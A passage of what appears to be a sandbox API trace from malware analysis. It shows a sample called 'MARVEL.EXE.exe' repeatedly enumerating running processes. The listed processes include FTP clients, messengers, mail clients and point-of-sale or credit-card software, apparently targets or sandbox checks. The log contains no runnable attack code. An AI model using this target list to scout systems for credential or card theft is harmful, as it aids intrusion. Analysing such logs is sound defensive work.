th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0026.390] CloseHandle (hObject=0xf0) returned 1 [0026.391] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0026.391] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0026.392] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0026.393] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0026.393] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0026.394] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0026.395] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0026.395] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0026.396] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0026.397] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0026.397] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0026.398] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0026.399] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0026.399] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0026.400] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0026.400] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0026.401] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0026.402] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0026.402] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0026.403] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0026.403] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0026.404] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="eur.exe")) returned 1 [0026.405] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="residence_rate_imagine.exe")) returned 1 [0026.405] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0026.406] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0026.406] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0026.407] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0026.407] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="MARVEL.EXE.exe")) returned 1 [0026.408] Process32NextW (in: hSnapshot=0xec, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="MARVEL.EXE.exe")) returned 0 [0026.408] CloseHandle (hObject=0xec) returned 1 [0026.408] GetCurrentThread () returned 0xfffffffe [0026.408] WaitForSingleObject (hHandle=0xfffffffe, dwMilliseconds=0x64) returned 0x102 [0026.505] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc [0027.397] Process32FirstW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0027.397] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0027.398] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0027.398] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0027.399] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0027.399] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0027.400] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0027.400] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0027.401] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0027.401] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0027.402] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.402] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.403] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.403] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.404] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.404] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0027.405] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.405] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.406] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0027.406] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0027.407] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0027.407] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0027.408] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.408] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0027.409] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0027.409] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.410] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0027.411] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0027.411] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="functionality-complimentary-planner.exe")) returned 1 [0027.412] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trim.exe")) returned 1 [0027.412] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="performer_dan_matt.exe")) returned 1 [0027.413] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="letters.exe")) returned 1 [0027.413] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives-baths.exe")) returned 1 [0027.414] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jjcorrelation.exe")) returned 1 [0027.414] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="changelogthreadalbuquerque.exe")) returned 1 [0027.415] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="configuringlisa.exe")) returned 1 [0027.415] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="terrace.exe")) returned 1 [0027.416] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="temporal-spine.exe")) returned 1 [0027.416] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="softwarehelenaestimates.exe")) returned 1 [0027.417] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="freight_bradley_website.exe")) returned 1 [0027.417] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vaccine.exe")) returned 1 [0027.417] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-nasa-deaths.exe")) returned 1 [0027.418] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hull grammar candles.exe")) returned 1 [0027.418] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0027.419] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0027.419] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0027.420] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0027.420] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0027.421] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0027.421] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0027.422] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0027.422] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0027.423] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0027.423] Process32NextW (in: hSnapshot=0xfc, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) 